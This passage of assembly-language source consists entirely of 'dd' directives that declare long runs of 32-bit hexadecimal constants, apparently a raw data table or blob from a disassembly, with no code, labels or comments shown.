7D399F8Ch, 9F5641D2h, 3A7BDE04h, 0B58CD2FFh dd 0FF452110h, 82D62859h, 0DA174E3Ch, 3579EFAEh, 0CDA25413h dd 0AD5C9B15h, 0EBC71594h, 1CA97DEDh, 4E2B68DEh, 0D1559695h dd 9B9F4CFh, 64AFCA92h, 0B1E3C92Ah, 0D1339B74h, 0B64013ADh dd 99205ED6h, 3460EAAh, 0C168BD4Dh, 0C94886D4h, 0C129F754h dd 3665EC88h, 46E310BAh, 5760D2C7h, 0A0E28140h, 0F28B4FEAh dd 94930A67h, 0E6906E98h, 0E002E5C2h, 13A1CD5Ch, 0F1930B9Fh dd 44822F74h, 0FCF956BBh, 9FB673Eh, 0D31A113Ch, 5306D73Dh dd 94AD9A95h, 0FF7350FCh, 0DEB624D5h, 240AF5C8h, 0B830D29Eh dd 6DC3C1DFh, 898E3F8h, 697F077Ch, 0FC28BEA8h, 0DCDA9966h dd 280068B4h, 0D8D95ED4h, 9DD91897h, 0CD348481h, 0DCDFA66Dh dd 7EC10E8Dh, 444F4E90h, 0E13C05A1h, 0F46908EFh, 0BEC37D5Ah dd 74A552BCh, 0D7584807h, 7F9A4E8Bh, 8FC7B394h, 0B077F612h dd 0ED777DE7h, 4391ABDDh, 6D6CC060h, 0E906BF0Dh, 0B66EE523h dd 28550F16h, 0D6B6FFCEh, 77395380h, 0F620BDD9h, 0DE1CA6A9h dd 0A187D65Dh, 0DF70CB6Ch, 82F2BCF1h, 92883942h, 0CBBDA868h dd 338C4B61h, 76F9D90Eh, 99BACF35h, 0F7ADB1C6h, 0D91F233Eh dd 9025123Dh, 0B7C2D331h, 2A4C6765h, 824DE515h, 0E97EE620h dd 5959A3DDh, 0E21D2F2Dh, 9BE1BF42h, 659E6E81h, 0F0951ED5h dd 4C27FCF1h, 5690BA03h, 0EF6B1F9Fh, 8ECFA6ECh, 9ACCD347h dd 0A37C9989h, 0FC3907CBh, 21D8D11Ah, 5AE9A839h, 4A10649Dh dd 6B7A03B1h, 3F8C055Eh, 0A4A04DE9h, 0BDF0604Bh, 0C9E551DAh dd 0BD6178D7h, 0B65C9ACEh, 6BF8EF39h, 6652E24Ch, 7810148h dd 6CCC6462h, 19DCE25Dh, 0C37F139Dh, 6610563Ch, 0C9FC086Dh dd 1E494FD8h, 0BAD41D65h, 637CCBF0h, 2435EDADh, 0D7DC92AFh dd 2953B1F9h, 0CC551784h, 0A33270F8h, 0F310BF2Ah, 0AA75F593h dd 82CF6F19h, 0B97609E7h, 47AD773h, 0A729C715h, 84A61CE0h dd 3EAF6DDBh, 3A963437h, 0D549AC14h, 0B0B07F70h, 0A0E8EE3Fh dd 0E2466D71h, 21134EC6h, 34B1B90Ch, 0E2C64AF2h, 0E8AB07EDh dd 98DD6D2Bh, 40271347h, 97A99B3Eh, 85272DAh, 4D99E5FBh dd 0D4F146B9h, 1B2BD7FDh, 5CAB6F0Ah, 8F3058E1h, 0FBF37E9Fh dd 735F19C9h, 66405CDEh, 0C9CCC3C3h, 5A69BD3h, 3D865F89h dd 616D9151h, 813ADBBEh, 0BD2355BBh, 7F7856E4h, 58035D76h dd 0F2A45A0Ah, 55014DF8h, 8B1902E2h, 36F0F4F5h, 3A35E9B7h dd 0F5648F99h, 62932903h, 1BE132D2h, 81845648h, 71EDDF66h dd 576EF21h, 4195108Eh, 0A77A773Ch, 8F49CBB8h, 26B33186h dd 0E8313548h, 0E488C81Ah, 0D4E96041h, 0EB5CB355h, 343DDF26h dd 66D1DA95h, 7BE9D783h, 50377945h, 0B92811Fh, 20202DE2h dd 0B8FEAE8Fh, 0D6D4F362h, 0F180EB1h, 0C2548326h, 3FD53EDEh dd 0A1E5E70h, 2FF7AB2Ah, 0DEBC778Eh, 39D21FE0h, 0F1D7D004h dd 3F824A58h, 0F44FFB50h, 6711EE82h, 0ECA03CF3h, 726A3CBEh dd 409B7463h, 838D5989h, 2019F912h, 18BC974Dh, 825FB693h dd 7E29ABD1h, 0C7A9D5B0h, 0B467E7Ah, 0F419EC58h, 0A77B7D1Eh dd 7BF2E7D7h, 69AA9C83h, 867D271Eh, 2B36EB4Fh, 5A0C9C6Fh dd 0D24B7AC0h, 0F2BEDBAFh, 862E86DDh, 0D295B663h, 6A68C299h dd 1A1EB2C9h, 0A7C3EC5h, 0C3AB66F2h, 884352AAh, 0C67A6A95h dd 22159347h, 1FEF6D9Ch, 688EFE35h, 68A73E7Ch, 8E3F439Fh dd 505A4BD9h, 407308F7h, 0A9F82A7Bh, 42BE1851h, 0AA611416h dd 5ED86490h, 0C3F8A232h, 0C239E334h, 92A8935Ah, 0BAC9FA81h dd 90F3B718h, 535B8764h, 3B1F1F92h, 0F1C0C70Eh, 7EB58D9Dh dd 0AB782C46h, 0F911F210h, 90030199h, 0AC627B28h, 9B03CC96h dd 0BB22F10Fh, 0CFCC8630h, 7A99FB32h, 87FCD6E5h, 0C162121Ch dd 2B960F28h, 0A870192Bh, 0A70BCD1Dh, 13533FC3h, 0B574923h dd 69120A2Ch, 0C0C10744h, 0CBC62889h, 0DF7C1A7h, 1EDE3725h dd 9EEEB038h, 0DABD3C4Fh, 2E1CBCF1h, 172C7423h, 0AE671A2Bh dd 0E735B19Ah, 328C33A2h, 36D26E1Ah, 97E76BD1h, 0D301EF76h dd 0C4C40BE7h, 0B4796F58h, 3456E97Fh, 9B9187DFh, 548BDE27h dd 8B50B6F3h, 41CD0785h, 69E0F58Dh, 7DF6E9BDh, 0E47B361Ch dd 5C1D3BC6h, 3B5266CAh, 0F3AE227Fh, 5624D2F6h, 0F00C4761h dd 50074D88h, 0D3939918h, 9439BBA8h, 0F7A12D65h, 94AF1315h dd 0D76AF927h, 0D06AE9CEh, 710F0EE4h, 6E5A320Ch, 9950733Ah dd 51172907h, 0B042259Eh, 0A23E4EEDh, 0E045D482h, 310C0120h dd 278B843Dh, 672F0B91h, 57E538ADh, 0C4FFD4B7h, 0E2827824h dd 551AD963h, 2C6D249h, 0D50F9244h, 79B6B25Ch, 93E05F1Eh dd 44E1DCBBh, 6E7AA068h, 91B91AA8h, 0F3EFB165h, 6E7AE2C4h dd 0CE04DA4Fh, 660C12Fh, 7D95EE57h, 5DCAA324h, 97D8ECD8h dd 0DB94811Dh, 39996628h, 0B3C70A01h, 2A53FED8h, 19D99A35h dd 9A512386h, 415BED4h, 8DB459E2h, 0AD168308h, 8A130DB3h dd 2B53EAC4h, 0D0FE431Dh, 75E25B3Ch, 0ABD98004h, 94812F24h dd 3115B9E2h, 0F6CD0EE8h, 0F903AD7Dh, 205F557Ah, 1B98D242h dd 21DCFD62h, 0DC1CC1E8h, 0EA39C1D0h, 0C7D97BBFh, 6FAC3551h dd 9DD7E07Fh, 5E6BE30Eh, 6A7D05CBh, 66932395h, 238F5B12h dd 0F3E4CD32h, 0D076D31Fh, 2D6A9A0Eh, 8B2271A2h, 892727Ch dd 0B7426F29h, 5D08E163h, 0DE693D4Dh, 470CD119h, 7ECE105Ch dd 8C6114F6h, 0BA072091h, 17EB979Ah, 38AA1A36h, 7A8CF514h dd 86FC33EDh, 533659E6h, 0B83A3B4Ah, 4C784EC5h, 0F69D3056h dd 4627202Bh, 0A1EECD1Ch, 0E931A5C4h, 0C10AA1A2h, 0CB3E516Ah dd 0A37E706Bh, 9E925596h, 0BA5D1CC8h, 0A24835CDh, 57DA4B20h dd 0B3F5F0D5h, 0CFB988AAh, 0C8ECB49Bh, 4C5D40E2h, 8332E0EDh dd 1AC69FFFh, 0FC947F4Fh, 31698694h, 0D963B760h, 0D93FDB2Eh dd 0A0E409h, 3FF2FE5h, 62CF6C6Fh, 0E7C77D36h, 2A0FD0F8h dd 15EF5B10h, 95208E09h, 81749B4Fh, 1D41852Eh, 9734DEE8h dd 0EC93D4D5h, 0F9426681h, 200E5204h, 0B88A0A9Bh, 47A37B14h dd 0ACF30485h, 6E97F9F5h, 414734ACh, 3396BF18h, 280F15D7h dd 391CA1AFh, 6BA929ACh, 0F42995E9h, 0C3704F94h, 0A9F9FBEAh dd 8D5A95B5h, 0F4BBC3FEh, 6BB64F0Fh, 70D6BF97h, 0D8BBF5E4h dd 31E42880h, 6B0AFADAh, 5C8FE96Ch, 0D9A7D921h, 2B9E3273h dd 91DA72F0h, 865A28F2h, 0D635ECBh, 6186C57Eh, 808BA7A0h dd 46C2F98Dh, 0CA38A5A5h, 0FE732053h, 5D0FA57Bh, 57453177h dd 0A974AB03h, 0BA123951h dd 0F0ABA7A3h, 0C9832D62h, 0E590AF4h, 73D1767Eh, 81132D66h dd 7AF61ADCh, 2AD60CF7h, 5F144C83h, 23512E6Fh, 5FD95B82h dd 0A368B4CDh, 80808EE6h, 14C73A0Dh, 0C148A909h, 6A35F061h dd 709F532Ah, 2B1FD86Eh, 0B1FD48C1h, 0B3BBB862h, 622CFE3Ch dd 0BF2B2A4Ch, 1F9F2AE6h, 0EE5A4580h, 2867E253h, 0F64C73FCh dd 61A34042h, 0B0344199h, 0B72B7471h, 0AA18D740h, 0D9F009E5h dd 65917E80h, 48DAD50Bh, 0BAF9195Bh, 293D607Ah, 86320FA9h dd 0D637752Dh, 3C9F10C8h, 0FF627477h, 0DCC8FBDCh, 4E475CF0h dd 716FB01h, 0D346A1E6h, 0BC83E2C0h, 0FBE15764h, 6D7AB6F5h dd 967A08DFh, 83F650FBh, 6F45166Ch, 6287EE7Ah, 2F25AC85h dd 1D45FBC0h, 0E2224779h, 2F259FDAh, 1D08B7B9h, 65BA3727h dd 3D20C162h, 0D9AE9AFDh, 6C0F7C59h, 5CC56625h, 13C51669h dd 80885791h, 0D12E9D4Fh, 0E584625Fh, 0AE63EAD3h, 1104B1Fh dd 35E21A38h, 7374FDBBh, 0A6ED9291h, 0AEE45909h, 0B9777581h dd 0DF23D99Dh, 8943C868h, 891E6280h, 1ECF301Dh, 0BED553F5h dd 21701812h, 73A019C6h, 0D42F3A7Dh, 0D2255BBCh, 53ACBCA4h dd 54BB235Bh, 3BCA7A97h, 9990343h, 0A8762C58h, 0D6274167h dd 0AC6FE9B0h, 0E4ADC311h, 0F0A6B7Ch, 0B4EEFB00h, 0A24A3878h dd 0EE975FADh, 0D39A0019h, 0A29D7826h, 0C2957A29h, 9002A43Fh dd 5949A87Dh, 0B3301C81h, 4C6A8632h, 5BEE6BE3h, 93A131F2h dd 49612FDCh, 6C662B5Bh, 0A4A96249h, 34D7DB52h, 5738C9F1h dd 9871DC72h, 6C8686A3h, 190831EBh, 0B3CFF759h, 915B66A6h dd 0B9F05C38h, 47084DE1h, 10121E8Dh, 0D1A9E32Dh, 1742AFE1h dd 8D05219Eh, 622C1ABEh, 414D67Ah, 0D924F158h, 0D13001EBh dd 0AFA27636h, 49BC098Fh, 0D641514Eh, 5DB0B9E2h, 0C329ECFFh dd 9CF67D7Eh, 4FD6A8A8h, 9FB688A8h, 6AD1FB9Dh, 0D04B7AFFh dd 0ED6929E7h, 486490F4h, 0B7C07F53h, 7DD68318h, 1579B678h dd 786B0D42h, 6BF1172h, 6CE28975h, 0FECB19EEh, 97F33DBEh dd 0ACAF5660h, 58D3CB52h, 91517D84h, 0C03A0659h, 79D53C6Bh dd 55E79923h, 39844731h, 645CBA58h, 0DF578AE6h, 0B0FE44Ah dd 3A3ABD54h, 73C3DE84h, 94F5150Dh, 0D01FE0C7h, 637A087Ch dd 3D898573h, 0D84E28A1h, 8A7E8C6Dh, 0DD69CA64h, 540013A5h dd 4F61690Bh, 0EBA582D0h, 9EE73D8Ah, 0DA6730A0h, 0EDBA946Ah dd 0CCC18ED7h, 8326A238h, 6DAADF1Ah, 0FEEF10C1h, 3F02DE06h dd 0FC8BC0E9h, 0BD4BAC75h, 0AE40CD87h, 17917EDEh, 0C91B6E50h dd 0BD18E549h, 4008D0A8h, 5F10C217h, 6230133h, 8B6CB9EFh dd 40DF9771h, 0DC774A0Ch, 71F0D9D1h, 12E3EB89h, 0C21702E1h dd 67685A0Bh, 6E10DFF7h, 28024DE7h, 50A15148h, 49E64FCCh dd 334669ECh, 49B36C94h, 44078D01h, 4C2E7ED5h, 0F710ADD2h dd 0CF96D2FAh, 9D8AFBE9h, 0D5C8A979h, 0EB43DEFDh, 0E2E1329Dh dd 0E16BEF21h, 7C05E382h, 0A7CF6DBCh, 5CB458C0h, 3635EB1Bh dd 268536Dh, 7CF15992h, 29F3C47Dh, 9C210DCCh, 6C099C51h dd 6EB2390Ch, 85E47988h, 0FDD9F7B0h, 9111EC9Dh, 0E317DB8h dd 44E9C8D2h, 41E0F72Fh, 197AE233h, 765C5FF4h, 4DD95EA6h dd 0F81939EAh, 9043DB5h, 1F91CFADh, 3945B125h, 25075D25h dd 0C47C203Dh, 233A6501h, 723FABEh, 0C8EB6EBFh, 0EC413C49h dd 0AC8465Eh, 0E5F51950h, 246B9EB4h, 0BA1D7691h, 1E43A989h dd 67AD3D7Dh, 9A28031Ch, 0FD416EEh, 0C1C822ACh, 3E50930Eh dd 1B5378FBh, 66EBD412h, 0F065CEEFh, 7C4AF826h, 0A565E3ACh dd 0DAF459D5h, 6F61EFA3h, 0D7032D1Ah, 3B512531h, 8893350Dh dd 3C8B3B9Dh, 0AB54D58Bh, 872A81CDh, 0D71035F4h, 895C6296h dd 3B807BC6h, 5424CEBh, 0ABF653CFh, 1CC40125h, 90046CD8h dd 0AFE13790h, 97898367h, 1B38B337h, 1A63FB2Ah, 0F01207Fh dd 9633C80Ch, 3E9E9C6Bh, 87654A09h, 794EA4F6h, 0D9337E1Fh dd 0D0491660h, 1F39DEA0h, 3CEE7C0Eh, 4CC43901h, 77B1413Fh dd 9F43FC48h, 93DA8B6Eh, 0B742A6BBh, 0C01B4E42h, 67D2EE3Bh dd 9A1EE303h, 2C43BDEEh, 7EB69408h, 7BA1CBBAh, 0E0529F21h dd 693A191Bh, 6B158BFDh, 88ABBAA3h, 0E763A8DAh, 49078C00h dd 0C13444BDh, 289C71A7h, 0F7FC8457h, 4A1B5BD9h, 3FFCFB78h dd 7EED2DF2h, 0C9A54390h, 0A885E11Eh, 8804873Bh, 92DA5D3Ch dd 53BFBB1Fh, 0BD7D2C09h, 7F298C55h, 0A987B3B9h, 0BAFF2BF0h dd 7AE186F5h, 6B4E506Eh, 0FFD9913Ch, 0E47030EBh, 5882A44h dd 8F4F9992h, 0EFD7D62Ah, 0F02A6BA6h, 0DA1AE3D3h, 473AD70Ah dd 6BAE0C8Ah, 0EB75127Fh, 597A1401h, 35B24656h, 0D7C0BE94h dd 79B3D690h, 21D7A5BAh, 0CBD18007h, 35EADA9Eh, 1447C4Eh dd 2F313504h, 0D963014h, 8F4833ACh, 7F3A7B8Ch, 0C34005CAh dd 0B61048C7h, 67C9A105h, 14964068h, 6D14C38Dh, 5BBA9312h dd 8A43E87Eh, 0C27AC9B2h, 687CDA0Ah, 2ADE7A9Ch, 8A463391h dd 0DFC0E7E9h, 53E65CCDh, 0CECA94BEh, 0C15ED695h, 0D71BBB2Eh dd 9099EE17h, 935408F0h, 0C8DF4B51h, 6CD39FADh, 0D02C4A05h dd 6D80DF3Ah, 0EC8D767Eh, 7DD8D057h, 8674390Ch, 0E7DEA394h dd 0DF11DE75h, 344BD056h, 7394BA77h, 2E3BD85Eh, 63E5407Dh dd 36B555A0h, 949C07E7h, 3C4A439Eh, 439F2AAAh, 0DF5AA14Eh dd 0B389B803h, 0C319B389h, 33DB6A50h, 0A6B638E0h, 27DFF058h dd 0D00BE31Dh, 7894F09h, 0C18AFF57h, 3087D9F5h, 872BEE50h dd 8F8A0C19h, 9ABFDEDh, 10644CD0h, 0C88E324Eh, 6B63FBE6h dd 3CC39FBCh, 0AC7C6755h, 8CF2CD41h, 0F362B823h, 0E3F56223h dd 5187E32Ah, 0E50A0629h, 8E29B650h, 90B96288h, 6A22FF95h dd 0CBD6E02Fh, 515EF833h, 820B82BDh, 28D81818h, 0F7574D2Ch dd 2CB83233h, 0C0537501h, 0A117964h, 0BEA3D827h, 0E9256116h dd 8B8ABD42h, 6B5EF205h, 0DD35E6D8h, 1893ECDDh, 9647AB69h dd 0A42F83B4h, 0E6774AE4h, 0CC0EC82h, 0F672A29Bh, 6544256Ch dd 23419968h, 5534783Eh, 0CB5911ECh, 55129FB1h, 9CEE6419h dd 21ADF676h, 1E43C733h, 63805886h, 0C671AB64h, 0FC7B4530h dd 0F7E6758Bh, 0CE4F12Eh, 0E9A6A8CDh, 58D4E19Dh, 0D1C2DDF0h dd 1AB2CF80h, 5AFE3B52h, 8551056Ah, 0AF60476Ch, 767622BFh dd 4AC5CD71h, 9F9915E1h, 4FB740F1h, 454576AAh, 0A871AB4h dd 0DF3EC28Dh, 80CF33E0h, 0F37984B4h, 1F58F69Eh, 0F3C528E8h dd 26F72313h, 0A9172EF8h, 0EF813D66h, 0E77C8B85h, 0B03F9CDBh dd 3A36981Eh, 0B4DEF580h, 61FBF776h, 606E924Fh, 0CC63B048h dd 50AD23C6h, 0FA5DC629h, 0BC9632D4h, 3DC4AE6Bh, 12D0BDF8h dd 361C7424h, 91306A5Ah, 29CD24F3h, 708EACA3h, 98B2D021h dd 91961E31h, 510A1C64h, 32B2DE69h, 6D0BF4E2h, 0A19A7139h dd 2A15EFB5h, 278C9A31h, 42DFE069h, 7936BDCFh, 6035C4EDh dd 224FE8D3h, 0F0B965E4h, 466E26F5h, 0AFB37A15h, 0B608926Dh dd 282FBB92h, 60AD7AC3h, 0E854DFD6h, 47003AA5h, 3ABA465Ah dd 0AF136C6Dh, 902D219Eh, 0BF9D96EBh, 0EF4AD7A4h, 0E747BE49h dd 0DB8AB3A2h, 0DB916AC3h, 0EF3F2D36h, 4F7306C7h, 0D80E0634h dd 57411AB3h, 5A38BFE1h, 7E2EC578h, 0DEE9F370h, 257B7585h dd 9A2C7095h, 533B6974h, 642056EBh, 297B26B5h, 4F06E033h dd 69777C4h, 65DCC324h, 715BFDA2h, 0F83F2A45h, 817634B4h dd 0FEB749Ah, 7E1FDB84h, 340C0618h, 3231596Fh, 0E8275BF7h dd 5473CA2Bh, 8EA5ABFh dd 26763E56h, 0ED5ECC3Dh, 60070006h, 464D4221h, 0DA6F276Bh dd 1A0D9171h, 0C6E094BCh, 0F7B7E5B0h, 0FFE93186h, 7CB744EDh dd 0FA77B81Ch, 9E20159Ah, 1A3DECE8h, 0F718DF43h, 817945E6h dd 9BCC34C1h, 590725E6h, 90F4007Fh, 269BB43Eh, 0E5467A75h dd 404EE1BAh, 0AA6C6AF2h, 1414C1D4h, 0ED4CC0D2h, 1E201B7h dd 2D1CDCD6h, 4F10050Ch, 0A8FEEDBAh, 0D125315Fh, 52CC4A95h dd 6310E075h, 56E766FBh, 0EAE5FE0Fh, 0AAA07E87h, 603A0FBEh dd 28CB31F0h, 49B83484h, 734BF2C2h, 9F61B3F1h, 95AF1A3h dd 0D76D756Ch, 0DC67E1C9h, 0C458308Bh, 0A0C1CEBAh, 0DE83D25Eh dd 108CB76Fh, 0A6C18FEDh, 28350E35h, 0F7D726D5h, 0A38F759Ah dd 9BD70278h, 0CDE548CEh, 1EA9FDADh, 0FA630DE1h, 0E3123001h dd 7396EC39h, 91EACBD0h, 0BD5335DFh, 0F329FCBEh, 855100FDh dd 0B09F26F3h, 0CF81F7C5h, 0FFB47513h, 1358C280h, 78B8AFB5h dd 0F34EE864h, 378EBE46h, 0B4DBD14Eh, 4DBA5E2Eh, 784CAF34h dd 0CC759F49h, 0EBD263D7h, 946BBC2h, 0C279F6AEh, 709C601Bh dd 0C715C9Ah, 2F735D0Ah, 19C09EFCh, 2B025CA7h, 0A370D985h dd 0A96916A4h, 850A9719h, 7928C7Ah, 2427B816h, 377EF434h dd 0A5F522A5h, 0E14AAAAAh, 64A99282h, 9B08F474h, 7CB7EE70h dd 0D24AF4Fh, 295C93CAh, 8B1F456h, 0F7CF9853h, 2FCCE5E6h dd 69D0AB3Eh, 0AF739A29h, 6A4FF9B6h, 831E44BCh, 1C409EC0h dd 0B03418BDh, 7B8C3AA1h, 0DDF7AF3Eh, 0A5FC93FFh, 0A33D7DCFh dd 8D83E346h, 20D7E2BBh, 0A9F0C427h, 36810099h, 3FE8E4C3h dd 26A3F630h, 5ABCF68Dh, 0DC757738h, 4A40A855h, 50AC1430h dd 0F0878E22h, 1AA38761h, 706D6C04h, 0FF50F7D3h, 9997A9Fh dd 49619F7h, 85A02BF3h, 0B3AC1CDBh, 0FA859DFh, 0C8580483h dd 0A01A1254h, 0C9ADC86Fh, 8823F4CEh, 53388A1Eh, 370EEF65h dd 8F1D011Bh, 7B1EF77Fh, 0EBA0CA5Fh, 5FCED13Bh, 9551A5F1h dd 9B7406C4h, 9AE686D9h, 0E7294C68h, 0D43519E6h, 80EF7390h dd 7959CAD9h, 0C33989B8h, 67361074h, 78E9898Bh, 914DE492h dd 2332C010h, 5519727h, 34EB60BDh, 0AEAAE7DAh, 0E9BCD358h dd 7F5D716Eh, 589A5DF0h, 0E633D765h, 2819A274h, 7B04E021h dd 0C1B93628h, 5672BC17h, 639BB6B9h, 30B91CC4h, 7E20CC42h dd 0E9F07C53h, 0BDFD478h, 64B3C2Dh, 0C8E24FE4h, 0FA7CF0EDh dd 836A52C5h, 0F3C8BE0Fh, 0B5091088h, 8E9FA44Ah, 0A36C1373h dd 5E41075h, 0AC34D9A2h, 79F41E3Dh, 5FB0BA0Ah, 66A1F70Bh dd 88712E25h, 0CDD66B45h, 5AB6DB45h, 7A375081h, 8AB27B07h dd 0F310E29Bh, 53FF114Dh, 0C5E8948Ch, 0D92070BCh, 2A42BD3Eh dd 0CE69524Fh, 733AEE33h, 36725A96h, 192B8046h, 0A1FCD0F9h dd 86E89ACEh, 51737A28h, 0F3261923h, 6F8E2675h, 0FF91E3Eh dd 3A499050h, 0E1CA60CAh, 0AF3064D3h, 4546930Bh, 0F722D90Bh dd 0D6624257h, 0B70B7583h, 8D381FFCh, 0C1362D03h, 0BE5D9C45h dd 0B1D60B10h, 140F38FFh, 0D2C82E32h, 6DB0A960h, 0F0897044h dd 422E6758h, 4059D576h, 92E054EDh, 0E4B237FBh, 0A2CEA45Dh dd 7BEEA9DDh, 8B123BB4h, 0CA7C8048h, 4CE63B47h, 6F6EDD87h dd 0C5873697h, 81C48B7Ah, 0EB4343FDh, 700AC291h, 0E06E5ECFh dd 81BDAD4Eh, 5C1EE6D0h, 1E398387h, 0CCBFE810h, 4E73DF02h dd 2C44AA66h, 1597492Ah, 0BCC07A60h, 46155B2Ch, 2CBBBF3Bh dd 0D207563Eh, 28F3639h, 0A2775D95h, 0F2DF05B7h, 9EC9B62h dd 9861EF28h, 64B4A8CCh, 0E77409C2h, 0E1CC6EF5h, 0D828A5F1h dd 0CC3875EDh, 246829FAh, 0EDAB1C6Dh, 7CDA577Bh, 0AC014BF1h dd 432242D6h, 0B4781E7Dh, 0D90DB54h, 0CFBD41A2h, 0B4A4B20Eh dd 41CFF40Eh, 0B2E92ACBh, 0F9CBE48Bh, 0B60223ECh, 0EC1B1592h dd 7A2A3BCCh, 0BEAEF611h, 197E2DF0h, 0C835CC94h, 0F67CDE0h dd 923C728h, 0B7EB2612h, 0EB055453h, 0DDB1D5BFh, 0D5D5F241h dd 0C66E959Fh, 0C0EAC500h, 29DA69E8h, 0A8CA0D07h, 0A91887BAh dd 0EC591ABFh, 0B5F77891h, 6FA40DA4h, 0A80C73F0h, 42015A92h dd 4A189FEBh, 1EAE4007h, 0FBFE44B6h, 154FC832h, 0BEE5835Bh dd 0CF4AAE40h, 0E440B212h, 0B4D1A7A1h, 407FF467h, 223E8814h dd 0EBAB4C2Ah, 23D9B2F4h, 0B297F883h, 0D046AD23h, 752A45D9h dd 7BB99359h, 0F384613Bh, 2ADFFBF3h, 0B7B1CD22h, 0E7804F1Ah dd 3BA80566h, 33DCEA08h, 0D9111B62h, 803B8BAEh, 3FAA8E3Ch dd 0D796877Dh, 0B77EEE42h, 0B5FA65C7h, 46C98A7h, 0B2F22DF1h dd 699675CEh, 0EBCCABCDh, 3B76E851h, 0B5971B82h, 0FF76B799h dd 0FB00068Ch, 8B819A55h, 0E5B4C789h, 823FAA51h, 0F6A13AE0h dd 59EC4208h, 4F637036h, 40824F49h, 6412E722h, 6F4891B2h dd 25789CCEh, 0FB854471h, 92B6814Fh, 5C82E25h, 38A2ECE4h dd 0BAEDDADDh, 58D36631h, 0E0DEABEBh, 0BE5432DBh, 8291A237h dd 5C63086Bh, 61937AA7h, 15935675h, 77077D97h, 8F369C72h dd 744540EEh, 0CEA0DEBDh, 0A33ABC0Ch, 0B6168B45h, 21F6B906h dd 0CC85059Dh, 0DA3C17ACh, 0D2DDEA59h, 301F3861h, 0DF205283h dd 0C1385835h, 0B012EBC7h, 19AEB2E4h, 801AD229h, 0F6AF934Bh dd 0DD2C8495h, 0A0DCCC12h, 0F8EFF5Eh, 0AE4E6FA1h, 0C8435E58h dd 450EA00Bh, 867A1161h, 0F9C46D07h, 0DD7A9910h, 0C1EAE72h dd 9AEDF65Eh, 0F8A11E85h, 732F3753h, 0E25FC6BEh, 951F970h dd 5CB3F61h, 6D034A8Eh, 2DC4E54Ch, 0A8CB33BEh, 6F288988h dd 0B5D0EAC6h, 0B3F246F8h, 2D984272h, 4F165814h, 87000DE2h dd 0EB1A255Bh, 0DB872E00h, 0A9BEEC7Ch, 0FF5557A3h, 6B48B5A2h dd 4D4A97F4h, 7D240057h, 0D73F19DAh, 80A1A4D3h, 0F9977ACCh dd 0F507C069h, 0DE96E3B2h, 2030061Ch, 1D2D57E6h, 0D4CE49B8h dd 80E071F6h, 26D5B683h, 0D76CAEF8h, 5CF0CB66h, 966580F6h dd 601F386Ch, 0C768CD87h, 1645847Ch, 0B16EA760h, 0B3E057F6h dd 8E7E9E13h, 2676E751h, 4696637Bh, 0C699D789h, 59610035h dd 0A22B45DBh, 215A0C73h, 12DA55B5h, 730FC815h, 0F6641045h dd 0BF9F01Dh, 0A09EEB1Ch, 0FBCB69B9h, 13F8F8F4h, 185FDB33h dd 0ECC3C8D9h, 1877AB0Ch, 58AC87FCh, 0F0917417h, 0B4C3FCA1h dd 66B18422h, 56141902h, 37BEFCFDh, 0F95827B7h, 0A81E19F9h dd 39F73824h, 0CE170ACCh, 1259B143h, 0D2DB00F1h, 3B49BE5Dh dd 309A820Dh, 92260A44h, 0D6967682h, 0EF1E9D2Dh, 9538FA6Ah dd 625671A5h, 63D5CB12h, 0C9CE7C25h, 6470296Bh, 4E5409ACh dd 0DA84DAC9h, 4184AD9Dh, 0D1CB070Bh, 40291FFFh, 0F099597Dh dd 48B0C129h, 0FA710A4Dh, 0F569B1BCh, 0CF6DAAC9h, 2DE8A820h dd 0CBA18255h, 1DE9097Ch, 0D13F5F9Ch, 2246C04Ch, 198A931Eh dd 0A0D76B0Dh, 0B331C2h, 0C3D077E7h, 72B31ED9h, 8A2BBC97h dd 6E40A08h, 0BAFF7C90h, 0D20995B9h, 14C164F4h, 94B979Ch dd 7359697Fh, 257E0354h, 3BB50A49h, 1F820E58h, 0AF25C3D4h dd 3EFE9386h, 73696A7Fh, 0BCA64A8Eh, 9E9C5AA0h, 0AFB55503h dd 2C46143Ch, 150D08FCh, 0A9B6DBBAh, 61D5B97Ah, 1D11D67Dh dd 489C821h, 606BEFADh, 0D7E0D69Bh, 91BB7A21h, 809F037Ch dd 0D340A079h, 496264A9h, 0F1786C7Fh, 76D37EEBh, 0FE15750Eh dd 769C123Dh, 0E21BB6B7h, 0F96A19F2h, 0CB1C301Fh, 0DF80EEDAh dd 2283AE71h, 0CA861CCCh, 0FE5451A6h, 0C5D65016h, 32E9CA44h dd 74F8D5B6h, 0D6935048h, 9238D4C3h, 0E7588EFDh, 5EA224B0h dd 4E4B23EEh, 40AA8CEDh dd 0C0D7A3D4h, 0C29AEC83h, 8E4C834Ah, 0BC548251h, 4D65D172h dd 8824D95Ch, 0B6819F88h, 0A7C4190Ah, 0CC686A95h, 0AE18734Ch dd 965382F9h, 0EE366736h, 0CAE24B60h, 0B304AEBCh, 0BD404DC7h dd 33AE4D7Dh, 4B2D6257h, 167004DEh, 40C58664h, 0AF98727Ch dd 0D85EED2Dh, 0FE809131h, 861175AAh, 2C7242AEh, 0D40A80EAh dd 4EEB3307h, 5193A9F3h, 0C90BBFAh, 0DA4583E7h, 0CD9E58E3h dd 49C0C784h, 0B7654DC9h, 4BA58793h, 0D8E53D2Fh, 0A45DD479h dd 0D12D7E2Ah, 0D63ED6Fh, 0D27D55D4h, 6986F8D8h, 4609F5h dd 0B2155B99h, 0F8AB0B1Bh, 0A12D76C5h, 0A035EAFh, 382E5B66h dd 432DFF94h, 0F8F218C9h, 763E095Ah, 0EB95F389h, 0D896EB5Bh dd 0A92D798Fh, 0CD26FC9h, 0C9E0C8F5h, 2CBD7F20h, 24E59A3Ch dd 0DFEF0E31h, 9920547Ch, 0C4157B6Ah, 1897BBB9h, 728D789h dd 3CC1265h, 508D5AEAh, 0F9C692D9h, 0E57A6971h, 0B951CF63h dd 18231735h, 38F46857h, 0F652CB8Fh, 0DBE8350Ch, 0CC694916h dd 0ED570A73h, 0F41E0741h, 0B3F4903Fh, 1568732Fh, 569B3DC2h dd 0EBF2EE72h, 737140E0h, 9B0148F0h, 788D901Bh, 0D8FA3BB8h dd 7AB75A61h, 5C974193h, 0F6398298h, 0D9E659F3h, 7B4BEA81h dd 8DABAED8h, 3F0EE153h, 5861CE07h, 71156305h, 98AE3AD3h dd 75C0E67Fh, 78B6CB32h, 0F4202BDDh, 0D2BAF3DBh, 0D3917A71h dd 6F8FB701h, 618C515Dh, 8F7B00A6h, 0D65B9CADh, 0B582162Ah dd 651C9FE3h, 0DA993F55h, 21915302h, 10C15018h, 0D06452D6h dd 0A88E7297h, 0E6873D47h, 428E1BC3h, 40AFDD25h, 18E42845h dd 258468BFh, 